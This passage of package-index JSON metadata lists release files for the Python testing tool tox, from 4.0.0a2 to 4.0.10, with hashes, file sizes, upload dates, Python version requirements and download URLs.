f76ae40441f4808e83e38f4eb5aace4741d62737b8b4f7e49e"},"digests":{"blake2b_256":"4c5babcd3eeebc2d0d37dcd9439da95bf03fe9756a51afc8636a7b278c9fdafc","md5":"5bd2835d786af560856e12b8d9afee5b","sha256":"292061a90535a547d6bc66048260d845912f3de4054e2584af2d2d317ea1fd90"},"downloads":-1,"filename":"tox-4.0.0a10-py3-none-any.whl","has_sig":false,"md5_digest":"5bd2835d786af560856e12b8d9afee5b","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":137277,"upload_time":"2022-01-04T10:00:51","upload_time_iso_8601":"2022-01-04T10:00:51.949228Z","url":"https://files.pythonhosted.org/packages/4c/5b/abcd3eeebc2d0d37dcd9439da95bf03fe9756a51afc8636a7b278c9fdafc/tox-4.0.0a10-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"db18bd8f8f5c3f032f36794303ffc6dda9f0de4ce4c15d26770fd80c012d0cc5","md5":"944c6b1e2afc45a13eed6c99c1ba637d","sha256":"8317a3fc6beb8c87e555cda5af5949008410e5eb53f3379dfb25160af1f6f7b6"},"downloads":-1,"filename":"tox-4.0.0a10.tar.gz","has_sig":false,"md5_digest":"944c6b1e2afc45a13eed6c99c1ba637d","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":272073,"upload_time":"2022-01-04T10:00:53","upload_time_iso_8601":"2022-01-04T10:00:53.691083Z","url":"https://files.pythonhosted.org/packages/db/18/bd8f8f5c3f032f36794303ffc6dda9f0de4ce4c15d26770fd80c012d0cc5/tox-4.0.0a10.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0a2":[{"comment_text":"","core-metadata":{"sha256":"453ce7fb33abd34567434bd632bd450db155ee0a2c02c3c34ce308fbfa578c4a"},"digests":{"blake2b_256":"eb3a88af86c1a65eda9ffddffd27c5f362e1ad5d2b201150f17cad133cfe82a2","md5":"069444d64a63cace2e83d2ce70af9d20","sha256":"b06a2b01e204e52f603053452efabe4c588f6323ecc0b410ee8d83fdf359bb73"},"downloads":-1,"filename":"tox-4.0.0a2-py3-none-any.whl","has_sig":false,"md5_digest":"069444d64a63cace2e83d2ce70af9d20","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.6","size":105977,"upload_time":"2021-01-08T18:54:05","upload_time_iso_8601":"2021-01-08T18:54:05.838105Z","url":"https://files.pythonhosted.org/packages/eb/3a/88af86c1a65eda9ffddffd27c5f362e1ad5d2b201150f17cad133cfe82a2/tox-4.0.0a2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"fc2ab78889b7beec83d598bde7286e87c60a388fd1acda91a9632859953064b6","md5":"6e6b52398911abea63045f0ba5b3bf5b","sha256":"6eefc16b9ec5dd0bd45819c522e9db1cad5765429dc89015d8f69ca958fa7455"},"downloads":-1,"filename":"tox-4.0.0a2.tar.gz","has_sig":false,"md5_digest":"6e6b52398911abea63045f0ba5b3bf5b","packagetype":"sdist","python_version":"source","requires_python":">=3.6","size":228773,"upload_time":"2021-01-08T18:54:07","upload_time_iso_8601":"2021-01-08T18:54:07.698351Z","url":"https://files.pythonhosted.org/packages/fc/2a/b78889b7beec83d598bde7286e87c60a388fd1acda91a9632859953064b6/tox-4.0.0a2.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0a3":[{"comment_text":"","core-metadata":{"sha256":"283b57bd55409dc683775775312124cd0768aca99d965adce2967a82bfff86dc"},"digests":{"blake2b_256":"ac2bb202d980f51c9d79f52278797c231ccedf00abd7e53b384dd207ca7cc2e0","md5":"4420257e8ed19f968946c88571c5df92","sha256":"b09c8ba52e3b5798e75fa6e6860c5bd1f1da51ec09987a0740b13e4ce0d6bc3d"},"downloads":-1,"filename":"tox-4.0.0a3-py3-none-any.whl","has_sig":false,"md5_digest":"4420257e8ed19f968946c88571c5df92","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.6","size":107914,"upload_time":"2021-01-13T09:29:37","upload_time_iso_8601":"2021-01-13T09:29:37.865071Z","url":"https://files.pythonhosted.org/packages/ac/2b/b202d980f51c9d79f52278797c231ccedf00abd7e53b384dd207ca7cc2e0/tox-4.0.0a3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"9608d68fe633135c5d6aa58a72f2833c8f2f44920e2e55a4865988444d0b44b5","md5":"1cc688c4314f68978b53922b1d9e13a4","sha256":"b2993eee8718f4d00572273a8395cd9e6b19573dd0e2f6b6688842ffb9a9e3b0"},"downloads":-1,"filename":"tox-4.0.0a3.tar.gz","has_sig":false,"md5_digest":"1cc688c4314f68978b53922b1d9e13a4","packagetype":"sdist","python_version":"source","requires_python":">=3.6","size":233631,"upload_time":"2021-01-13T09:29:39","upload_time_iso_8601":"2021-01-13T09:29:39.246043Z","url":"https://files.pythonhosted.org/packages/96/08/d68fe633135c5d6aa58a72f2833c8f2f44920e2e55a4865988444d0b44b5/tox-4.0.0a3.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0a4":[{"comment_text":"","core-metadata":{"sha256":"d2fa51d95f6d8d7f400894ff669d637ed00a318a1b1a9053d3c437c971ec7707"},"digests":{"blake2b_256":"44884c6a392d0e5c5fc2d3e746f53c7199862e13c521b3f7bcf572fe33e5b3fc","md5":"43172e276e47e0db0ad6237dc6027230","sha256":"23789c3d9a3c8da59ab8440e0faa91ee68cada1e2309a1fc2554690fb7ca1f58"},"downloads":-1,"filename":"tox-4.0.0a4-py3-none-any.whl","has_sig":false,"md5_digest":"43172e276e47e0db0ad6237dc6027230","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.6","size":108554,"upload_time":"2021-01-16T18:30:30","upload_time_iso_8601":"2021-01-16T18:30:30.320979Z","url":"https://files.pythonhosted.org/packages/44/88/4c6a392d0e5c5fc2d3e746f53c7199862e13c521b3f7bcf572fe33e5b3fc/tox-4.0.0a4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"eb0fb0a4b92bab66dc7f88097e46c37cf0492acd1ab96eb73482c5541aadd16d","md5":"25bee62fe98053ae4cbc12e8afaf13b3","sha256":"cf296de9d9e03b4f5869552244bc7b2f107f8b6e9adb39369e90c84bb2b56095"},"downloads":-1,"filename":"tox-4.0.0a4.tar.gz","has_sig":false,"md5_digest":"25bee62fe98053ae4cbc12e8afaf13b3","packagetype":"sdist","python_version":"source","requires_python":">=3.6","size":235947,"upload_time":"2021-01-16T18:30:31","upload_time_iso_8601":"2021-01-16T18:30:31.998151Z","url":"https://files.pythonhosted.org/packages/eb/0f/b0a4b92bab66dc7f88097e46c37cf0492acd1ab96eb73482c5541aadd16d/tox-4.0.0a4.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0a5":[{"comment_text":"","core-metadata":{"sha256":"dba5b5b4e5b233f9314bc3e76f5f94a97748c0b09e60075501800f5d028a04d6"},"digests":{"blake2b_256":"8d1c07020ac887be1321253c6bbac1ab2c3184b8a777ab1dcba8e4d1dc09d148","md5":"483f1c068dff54a8bdc6df3a5bf709b6","sha256":"fbc8c8ca1b13753ec07960c692d7fd478cba3b29a1bf8b0808d8670132fc46d6"},"downloads":-1,"filename":"tox-4.0.0a5-py3-none-any.whl","has_sig":false,"md5_digest":"483f1c068dff54a8bdc6df3a5bf709b6","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.6","size":109687,"upload_time":"2021-01-23T16:17:56","upload_time_iso_8601":"2021-01-23T16:17:56.137390Z","url":"https://files.pythonhosted.org/packages/8d/1c/07020ac887be1321253c6bbac1ab2c3184b8a777ab1dcba8e4d1dc09d148/tox-4.0.0a5-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"03767d38d0c6941058835500facb75371faece8cb3ec00a9a8db1b29c9dc4668","md5":"5548df490d52ebba6c26dece47d2b522","sha256":"2221e07ca8fbab5fb3533c1bbfe2d914c386a46d6b4704a40017ff8af6de63e9"},"downloads":-1,"filename":"tox-4.0.0a5.tar.gz","has_sig":false,"md5_digest":"5548df490d52ebba6c26dece47d2b522","packagetype":"sdist","python_version":"source","requires_python":">=3.6","size":240773,"upload_time":"2021-01-23T16:17:57","upload_time_iso_8601":"2021-01-23T16:17:57.544950Z","url":"https://files.pythonhosted.org/packages/03/76/7d38d0c6941058835500facb75371faece8cb3ec00a9a8db1b29c9dc4668/tox-4.0.0a5.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0a6":[{"comment_text":"","core-metadata":{"sha256":"a4df2049382a68fa84611731189faf1ab127fc78edcc42363360173d2dadbc52"},"digests":{"blake2b_256":"f40ed3cdf8b7e39246464d6783dffbf8307d5085c46786c0d932215e3282ac17","md5":"db8d552ffef98295a98d99ec94c49826","sha256":"0ac3fe6dd1fc511945c5f593278a5756199ac19b3091d12721df7eca4f772709"},"downloads":-1,"filename":"tox-4.0.0a6-py3-none-any.whl","has_sig":false,"md5_digest":"db8d552ffef98295a98d99ec94c49826","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.6","size":113380,"upload_time":"2021-02-15T08:11:01","upload_time_iso_8601":"2021-02-15T08:11:01.629394Z","url":"https://files.pythonhosted.org/packages/f4/0e/d3cdf8b7e39246464d6783dffbf8307d5085c46786c0d932215e3282ac17/tox-4.0.0a6-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"7c5673dfd62b2818e362b748311021b6d2b2bf5f0add810e9816ea3dc71b90bf","md5":"232714944bb3f3d1e07c831a0a708522","sha256":"25b59f2f4655bd1897b55bd4e0f1a88da19b15dea8dd496d221aa1ee02d15f71"},"downloads":-1,"filename":"tox-4.0.0a6.tar.gz","has_sig":false,"md5_digest":"232714944bb3f3d1e07c831a0a708522","packagetype":"sdist","python_version":"source","requires_python":">=3.6","size":248439,"upload_time":"2021-02-15T08:11:03","upload_time_iso_8601":"2021-02-15T08:11:03.083095Z","url":"https://files.pythonhosted.org/packages/7c/56/73dfd62b2818e362b748311021b6d2b2bf5f0add810e9816ea3dc71b90bf/tox-4.0.0a6.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0a7":[{"comment_text":"","core-metadata":{"sha256":"95003148dad2787d9bf987af4ea4c37209abd24306ee88a008fd3b2d27b42a8c"},"digests":{"blake2b_256":"b064474a902d0619d9abd02771e0acaa9b4b0f8fcee3a0ef858376f217eb2424","md5":"fe0d11b88658384d78e6065bc052ad8f","sha256":"98479c7b8ead806dda2aad28deb41caffbab1c832b67a8fe1010fd3d5a67e3d1"},"downloads":-1,"filename":"tox-4.0.0a7-py3-none-any.whl","has_sig":false,"md5_digest":"fe0d11b88658384d78e6065bc052ad8f","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.6","size":127228,"upload_time":"2021-07-28T23:12:17","upload_time_iso_8601":"2021-07-28T23:12:17.370721Z","url":"https://files.pythonhosted.org/packages/b0/64/474a902d0619d9abd02771e0acaa9b4b0f8fcee3a0ef858376f217eb2424/tox-4.0.0a7-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"1b6aeca3519796fa58376747f360943c7ae041561fafcdcaf8a65cbbf63046ef","md5":"ede61970ef9488e9ce7db1bbd7c736fd","sha256":"45b848bba71f1e6353dfb09dde1dc32479f520a3a7ec7c85da757155e03f0446"},"downloads":-1,"filename":"tox-4.0.0a7.tar.gz","has_sig":false,"md5_digest":"ede61970ef9488e9ce7db1bbd7c736fd","packagetype":"sdist","python_version":"source","requires_python":">=3.6","size":277798,"upload_time":"2021-07-28T23:12:19","upload_time_iso_8601":"2021-07-28T23:12:19.040912Z","url":"https://files.pythonhosted.org/packages/1b/6a/eca3519796fa58376747f360943c7ae041561fafcdcaf8a65cbbf63046ef/tox-4.0.0a7.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0a8":[{"comment_text":"","core-metadata":{"sha256":"c02dfd36f347fb7f6be908eb43ec1192a1f137cef82266035a210622632b0f1f"},"digests":{"blake2b_256":"197d1540a5c395bf826fd3717b5be1fa85e1f59eaccafe3577425aa63161e4d5","md5":"a3f349e24732f6a0eed08aae3c61bee3","sha256":"1d7edaa88866fdd15e26ac9eecd8f05f04f900af19f8eb147653c87e0ab04d8e"},"downloads":-1,"filename":"tox-4.0.0a8-py3-none-any.whl","has_sig":false,"md5_digest":"a3f349e24732f6a0eed08aae3c61bee3","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.6","size":130785,"upload_time":"2021-08-21T13:56:40","upload_time_iso_8601":"2021-08-21T13:56:40.521373Z","url":"https://files.pythonhosted.org/packages/19/7d/1540a5c395bf826fd3717b5be1fa85e1f59eaccafe3577425aa63161e4d5/tox-4.0.0a8-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"51439cd8a0619e5f9ffd3342f489989b0faf387eea66e75df569653064441b15","md5":"7ce2423ab0d5291bbf0f41748ba80d7e","sha256":"253652611c52b06f1541bba232ac22c155f9ee21c0184194597d8a4875b11196"},"downloads":-1,"filename":"tox-4.0.0a8.tar.gz","has_sig":false,"md5_digest":"7ce2423ab0d5291bbf0f41748ba80d7e","packagetype":"sdist","python_version":"source","requires_python":">=3.6","size":285795,"upload_time":"2021-08-21T13:56:42","upload_time_iso_8601":"2021-08-21T13:56:42.189236Z","url":"https://files.pythonhosted.org/packages/51/43/9cd8a0619e5f9ffd3342f489989b0faf387eea66e75df569653064441b15/tox-4.0.0a8.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0a9":[{"comment_text":"","core-metadata":{"sha256":"8136d1690d53cbf2c7603927443c1f1cc0efbad328739d95107e5e06e7af7404"},"digests":{"blake2b_256":"9e1d62707decc7690dafc1e1ffff6a02ab41ee3806a21ac2e1ca28082c5aed22","md5":"37edfff6fec2b7402d8fe685213ec579","sha256":"28a4292eb2634a708dbab9184c56c02dd255641900f7dbf8f6ae21b98f8829f0"},"downloads":-1,"filename":"tox-4.0.0a9-py3-none-any.whl","has_sig":false,"md5_digest":"37edfff6fec2b7402d8fe685213ec579","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.6","size":134473,"upload_time":"2021-09-16T09:05:39","upload_time_iso_8601":"2021-09-16T09:05:39.621816Z","url":"https://files.pythonhosted.org/packages/9e/1d/62707decc7690dafc1e1ffff6a02ab41ee3806a21ac2e1ca28082c5aed22/tox-4.0.0a9-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"dc8d767c3186da0152ded0f085e481bf729edfad41f0cda1876aad184e273221","md5":"92ef3d4069a0b5219fdf0476b6d241b1","sha256":"8c9095ff5044da60b2a55364a1285423b584785b05c3d1e29887b9d6dc2a1192"},"downloads":-1,"filename":"tox-4.0.0a9.tar.gz","has_sig":false,"md5_digest":"92ef3d4069a0b5219fdf0476b6d241b1","packagetype":"sdist","python_version":"source","requires_python":">=3.6","size":270144,"upload_time":"2021-09-16T09:05:40","upload_time_iso_8601":"2021-09-16T09:05:40.834955Z","url":"https://files.pythonhosted.org/packages/dc/8d/767c3186da0152ded0f085e481bf729edfad41f0cda1876aad184e273221/tox-4.0.0a9.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0b1":[{"comment_text":"","core-metadata":{"sha256":"58840e38f0182708892f81bca1a7ab56bb5d67651c8b9cf3ecc7b91e51f8f718"},"digests":{"blake2b_256":"efe0e3adfe8ea9b22a4120c129e2ae78a3e13a7a0ece990c50a424f81e7e9fa0","md5":"c8e730e89e6b6ffcb01cd39142160349","sha256":"1fd512526033bc9d9fad3741b3c76f0765f42a243dc34e2068b58313a92b1de8"},"downloads":-1,"filename":"tox-4.0.0b1-py3-none-any.whl","has_sig":false,"md5_digest":"c8e730e89e6b6ffcb01cd39142160349","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":138077,"upload_time":"2022-02-06T10:28:03","upload_time_iso_8601":"2022-02-06T10:28:03.342920Z","url":"https://files.pythonhosted.org/packages/ef/e0/e3adfe8ea9b22a4120c129e2ae78a3e13a7a0ece990c50a424f81e7e9fa0/tox-4.0.0b1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"c107df3a0f420bdc6661d9c71ba2216a9d46d14ac466c0ed0f0eb96157140e2b","md5":"f311f66528539b9b835870cd4ab27cea","sha256":"08216a9ae509bd06d4519f2b1c292bb1b90958fbf76f7610f6384672d3bb4d14"},"downloads":-1,"filename":"tox-4.0.0b1.tar.gz","has_sig":false,"md5_digest":"f311f66528539b9b835870cd4ab27cea","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":274241,"upload_time":"2022-02-06T10:28:04","upload_time_iso_8601":"2022-02-06T10:28:04.597931Z","url":"https://files.pythonhosted.org/packages/c1/07/df3a0f420bdc6661d9c71ba2216a9d46d14ac466c0ed0f0eb96157140e2b/tox-4.0.0b1.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0b2":[{"comment_text":"","core-metadata":{"sha256":"6074b01d9e4ddc3cd84546ddfa60ec42032761bc3fd38ea0d93b06d84bdef369"},"digests":{"blake2b_256":"88bda28b849011f7af117d8ed13c67e85ec46b2044059f1ccbb12d2a9cc6562f","md5":"8b7f1cccb64387943423452e9e74a2cb","sha256":"445fb1fe5d0b0e8ea59a66c7d03e4b829e3524e61d5905cf3387b56161484eb8"},"downloads":-1,"filename":"tox-4.0.0b2-py3-none-any.whl","has_sig":false,"md5_digest":"8b7f1cccb64387943423452e9e74a2cb","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":137929,"upload_time":"2022-04-11T09:34:41","upload_time_iso_8601":"2022-04-11T09:34:41.317926Z","url":"https://files.pythonhosted.org/packages/88/bd/a28b849011f7af117d8ed13c67e85ec46b2044059f1ccbb12d2a9cc6562f/tox-4.0.0b2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"3a86fe931b4bbe1223cd1d2d6fb95dd44c9149ef429a8c6ddb7e1bb8c8450ed2","md5":"ac8abdfaeecb22a249aab0464f0786b3","sha256":"78efc716e760390b5129bdf4f46662ff771d767085377f2d623894096f5320ea"},"downloads":-1,"filename":"tox-4.0.0b2.tar.gz","has_sig":false,"md5_digest":"ac8abdfaeecb22a249aab0464f0786b3","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":149805,"upload_time":"2022-04-11T09:34:42","upload_time_iso_8601":"2022-04-11T09:34:42.492708Z","url":"https://files.pythonhosted.org/packages/3a/86/fe931b4bbe1223cd1d2d6fb95dd44c9149ef429a8c6ddb7e1bb8c8450ed2/tox-4.0.0b2.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0b3":[{"comment_text":"","core-metadata":{"sha256":"b4f4ecc7481102f1b50a218f155ef466d86578de6600c5728d48f45afd5d8e04"},"digests":{"blake2b_256":"1c3114a57eee2a0cdb4eab94b27cd01edd6b456bb43fc077505f291ce57d805c","md5":"9d813c103225ddabd859fa7c91a9a49f","sha256":"348ac01ab198ab1994045e6e4033a33fb6dafbbe962bfdd36ae6e81217c9fc1c"},"downloads":-1,"filename":"tox-4.0.0b3-py3-none-any.whl","has_sig":false,"md5_digest":"9d813c103225ddabd859fa7c91a9a49f","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":139859,"upload_time":"2022-11-28T04:14:15","upload_time_iso_8601":"2022-11-28T04:14:15.929672Z","url":"https://files.pythonhosted.org/packages/1c/31/14a57eee2a0cdb4eab94b27cd01edd6b456bb43fc077505f291ce57d805c/tox-4.0.0b3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"a0d6b6a51394bb369a88941f33b893a7eb98275fe2ea4a75e757d62aa4811a71","md5":"12088ae04e5a1c5f8f33cdf701d862ea","sha256":"b1e9257c1a7c8ace95ee2f7f99ec7557c1369ce962746141ca6b2c8a1f7b3e8f"},"downloads":-1,"filename":"tox-4.0.0b3.tar.gz","has_sig":false,"md5_digest":"12088ae04e5a1c5f8f33cdf701d862ea","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":151893,"upload_time":"2022-11-28T04:14:17","upload_time_iso_8601":"2022-11-28T04:14:17.524136Z","url":"https://files.pythonhosted.org/packages/a0/d6/b6a51394bb369a88941f33b893a7eb98275fe2ea4a75e757d62aa4811a71/tox-4.0.0b3.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0rc1":[{"comment_text":"","core-metadata":{"sha256":"6d404b3838be70c00257b53f40e28b6afcfaa8e61fccedaec59a944526b3837c"},"digests":{"blake2b_256":"7f225995415d83f1330f979b1c35daa943441d22d83387c7f0976c91a51d3846","md5":"e22cbdd753ac41469d761f7eb2f2cb25","sha256":"a503cdcf321b5ac029015cdb435ca93b9edf5bef4bfbe4ffaf481e00393399bd"},"downloads":-1,"filename":"tox-4.0.0rc1-py3-none-any.whl","has_sig":false,"md5_digest":"e22cbdd753ac41469d761f7eb2f2cb25","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":140169,"upload_time":"2022-11-29T18:50:58","upload_time_iso_8601":"2022-11-29T18:50:58.865892Z","url":"https://files.pythonhosted.org/packages/7f/22/5995415d83f1330f979b1c35daa943441d22d83387c7f0976c91a51d3846/tox-4.0.0rc1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"9afdc25b844148adc4e8d7dc7dfbe6e4689dcffac5f13a69f732b3d97c304ca6","md5":"f730b48db2471648afa008ab820dca56","sha256":"2bd994f4c155b1e164fbea9da0c2305b3cccc4ab03ae2d905b93fbb86f4a5ecc"},"downloads":-1,"filename":"tox-4.0.0rc1.tar.gz","has_sig":false,"md5_digest":"f730b48db2471648afa008ab820dca56","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":152315,"upload_time":"2022-11-29T18:51:01","upload_time_iso_8601":"2022-11-29T18:51:01.134653Z","url":"https://files.pythonhosted.org/packages/9a/fd/c25b844148adc4e8d7dc7dfbe6e4689dcffac5f13a69f732b3d97c304ca6/tox-4.0.0rc1.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0rc2":[{"comment_text":"","core-metadata":{"sha256":"576d11c9e57951eecde9648310fec3a4a39d7e2bc1d50481fe14312a9223b409"},"digests":{"blake2b_256":"016f66abf88a7f6ad60817a95115478aed59a1f9c1f900f232a1bdcb62b93e02","md5":"690a34aa65b4ff3e22b809677c180cd2","sha256":"d5183d6890b5a9c96b817438bf4d42ed943eaf0c0af1d9f453f958961e4dec6e"},"downloads":-1,"filename":"tox-4.0.0rc2-py3-none-any.whl","has_sig":false,"md5_digest":"690a34aa65b4ff3e22b809677c180cd2","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":139738,"upload_time":"2022-12-05T04:30:02","upload_time_iso_8601":"2022-12-05T04:30:02.832309Z","url":"https://files.pythonhosted.org/packages/01/6f/66abf88a7f6ad60817a95115478aed59a1f9c1f900f232a1bdcb62b93e02/tox-4.0.0rc2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"bb7ef4b00a9e403b4234b1af5a18c18ce6b5a77abd0bee05541939493c44e800","md5":"a78afeb9677b367381cb14639f6490dd","sha256":"e79f02d21382179d76a86f64c8dd7abd907c5dff45fe6156eb27d491724120f6"},"downloads":-1,"filename":"tox-4.0.0rc2.tar.gz","has_sig":false,"md5_digest":"a78afeb9677b367381cb14639f6490dd","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":152391,"upload_time":"2022-12-05T04:30:05","upload_time_iso_8601":"2022-12-05T04:30:05.761517Z","url":"https://files.pythonhosted.org/packages/bb/7e/f4b00a9e403b4234b1af5a18c18ce6b5a77abd0bee05541939493c44e800/tox-4.0.0rc2.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0rc3":[{"comment_text":"","core-metadata":{"sha256":"fe6a2d54257dc5b9b6c911962f0babdd30188bd0a8a22070c0c82c287cd9283e"},"digests":{"blake2b_256":"374960379d9095b7253262e7348a448557e38591008ebeb6eb3975d443bbe962","md5":"54e72d2cebea7c40d11e2c2e0450f102","sha256":"6634d94715528c33c80c70f2fcf793d04cc6cf4ba24d370f2b9e36fe0076483f"},"downloads":-1,"filename":"tox-4.0.0rc3-py3-none-any.whl","has_sig":false,"md5_digest":"54e72d2cebea7c40d11e2c2e0450f102","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":140370,"upload_time":"2022-12-06T04:51:53","upload_time_iso_8601":"2022-12-06T04:51:53.535704Z","url":"https://files.pythonhosted.org/packages/37/49/60379d9095b7253262e7348a448557e38591008ebeb6eb3975d443bbe962/tox-4.0.0rc3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"44c9a368e4798420d622afd9171e8d6b64b99008680a41df01e09a56a8adbbd6","md5":"6ae12281cca722b7739379815969b2c1","sha256":"210436c837b92cd2e652c3d4fbce2d3b0df956ac097a2e1f3a0219c0c93a26d4"},"downloads":-1,"filename":"tox-4.0.0rc3.tar.gz","has_sig":false,"md5_digest":"6ae12281cca722b7739379815969b2c1","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":153013,"upload_time":"2022-12-06T04:51:56","upload_time_iso_8601":"2022-12-06T04:51:56.013558Z","url":"https://files.pythonhosted.org/packages/44/c9/a368e4798420d622afd9171e8d6b64b99008680a41df01e09a56a8adbbd6/tox-4.0.0rc3.tar.gz","yanked":false,"yanked_reason":null}],"4.0.0rc4":[{"comment_text":"","core-metadata":{"sha256":"8e3c62f4c4d09a143ca5f26f0c04a3c5595e44c71d8d59df39eaf23ae89b5f95"},"digests":{"blake2b_256":"d02f10b0bfc0613d8ebcdc62e3012baf234260a0f149ef9b90dd6e6fe02977fe","md5":"3d6bb35fd892445bf2c2b9747cee2dc0","sha256":"cd6e2240cfebb5321970fe7142aca662920daec277b1d079631f65648caede16"},"downloads":-1,"filename":"tox-4.0.0rc4-py3-none-any.whl","has_sig":false,"md5_digest":"3d6bb35fd892445bf2c2b9747cee2dc0","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":140330,"upload_time":"2022-12-07T01:29:45","upload_time_iso_8601":"2022-12-07T01:29:45.727756Z","url":"https://files.pythonhosted.org/packages/d0/2f/10b0bfc0613d8ebcdc62e3012baf234260a0f149ef9b90dd6e6fe02977fe/tox-4.0.0rc4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"7bd225ddf0c0c5c1c6fb6d19e1fc6ef4d9d0e88f973daeb98f179dde32c2cc42","md5":"6476149da2895cbc538f5a838029fba4","sha256":"d16a05506ba2f10360dcca69c6497e01041083e38fc08d6aa73b7a506634da3a"},"downloads":-1,"filename":"tox-4.0.0rc4.tar.gz","has_sig":false,"md5_digest":"6476149da2895cbc538f5a838029fba4","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":153002,"upload_time":"2022-12-07T01:29:47","upload_time_iso_8601":"2022-12-07T01:29:47.299808Z","url":"https://files.pythonhosted.org/packages/7b/d2/25ddf0c0c5c1c6fb6d19e1fc6ef4d9d0e88f973daeb98f179dde32c2cc42/tox-4.0.0rc4.tar.gz","yanked":false,"yanked_reason":null}],"4.0.1":[{"comment_text":"","core-metadata":{"sha256":"371317249947e047138dd4e4574a082bc0a57cc7845db3f95e6013ab41dd7032"},"digests":{"blake2b_256":"b3ae013fec033c23b2b367daca99964412c41d98aa7714a7e16cea80233a5f89","md5":"e9556dcede8f600abb02ad7bae2bd0db","sha256":"6aa558b74bb2d96cd826a6a0030bc37ba8331732c550ac4dc5a44029f2af87be"},"downloads":-1,"filename":"tox-4.0.1-py3-none-any.whl","has_sig":false,"md5_digest":"e9556dcede8f600abb02ad7bae2bd0db","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":140771,"upload_time":"2022-12-08T00:49:55","upload_time_iso_8601":"2022-12-08T00:49:55.270692Z","url":"https://files.pythonhosted.org/packages/b3/ae/013fec033c23b2b367daca99964412c41d98aa7714a7e16cea80233a5f89/tox-4.0.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"e7fa44c863874c26e41a9377a83719b69880220896579712abd1fc66d5cee231","md5":"16f3e0e264984ce22d2e2ec7df5786c4","sha256":"c7cd95e5e567a7d1b71bd29f3c268bd1607ad5c624226785615c7327a91556bf"},"downloads":-1,"filename":"tox-4.0.1.tar.gz","has_sig":false,"md5_digest":"16f3e0e264984ce22d2e2ec7df5786c4","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":151595,"upload_time":"2022-12-08T00:49:57","upload_time_iso_8601":"2022-12-08T00:49:57.315388Z","url":"https://files.pythonhosted.org/packages/e7/fa/44c863874c26e41a9377a83719b69880220896579712abd1fc66d5cee231/tox-4.0.1.tar.gz","yanked":false,"yanked_reason":null}],"4.0.10":[{"comment_text":"","core-metadata":{"sha256":"e937f2a5be47f87e2f8ba3a958674f8a045f0cbc57ceb5cc5d69e639f0d58dba"},"digests":{"blake2b_256":"299e3faf849be0b9a521177558f17929f007b3413675716480ab6c5158847c3e","md5":"98d544202b992998526bb0b241f4aff8","sha256":"3f23c39b8a82d02fb14bf4b3ff8143b2be2a816a92abab3acdea27e93b75a798"},"downloads":-1,"filename":"tox-4.0.10-py3-none-any.whl","has_sig":false,"md5_digest":"98d